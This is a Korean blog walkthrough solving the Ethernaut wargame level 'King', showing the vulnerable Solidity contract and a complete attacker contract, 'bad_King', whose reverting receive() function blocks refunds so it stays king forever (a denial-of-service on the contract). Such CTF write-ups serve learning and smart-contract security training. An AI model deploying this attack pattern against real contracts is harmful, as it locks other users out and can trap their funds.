본문 바로가기
aaa
블록체인

[이더넛] 레벨9 'King' 풀기

[이더넛] 레벨9 'King' 풀기

 

 

 

 

[목표]

영원한 king이 되자.


 

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

 

 

owner, king

owner / king

확인

 

prize

prize는 wei단위로 출력됩니다.

prize = 1 ETH

 

 

 

 receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

king이 되려면

msg.value가 prize(1 ETH) 보다 크거나 owner여야 합니다.

owner는 constructor에서 처음 선언되고

이후 변경할 수 없으므로

 

prize 보다 크게 King 컨트랙트로

ETH를 보내면 king이 됩니다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

contract bad_King {
    
   constructor() public payable {
  }
  
    function attack(address _addr) public payable {
        _addr.call{value:1100000000000000000}("");
    }
    
    receive() external payable {
        revert("I am Only one King haha");
    }
    
     function destroy() public  {
        selfdestruct(payable(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2));
    }
}

 

컨트랙트 bad_King을 만들었습니다.

bad_King은 함수 attack을 통해

컨트랙트 King으로 1.1 ETH를 보내어

king이 됩니다.

 

그리고 prize는 1.1 ETH로 증가합니다.

 

이후 다른 CA나 EOA가

더 많은 ETH를 컨트랙트 KING으로 보내면

다음과 같은 과정을 거칠 것 입니다.

 

// King Contract

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

 king.transfer(msg.value);

에서 현재 king에게 

msg.value 보내려고 합니다.

 

그러면 

 

// bad_King

receive() external payable {
        revert("I am Only one King haha");
    }​

컨트랙트 bad_King

의 receive에서

revert가 있기 때문에

 

위 컨트랙트 King에서

msg.value만큼 컨트랙트 bad_King에게

보내려는 시도를 되돌립니다. (revert) 

 

변경된 king, prize

 

 

 

 

다른 EOA/CA로 king을 바꾸려해도 revert.

 

이렇게 영원한 king이 되었습니다.

 

 

 

클리어~!


loading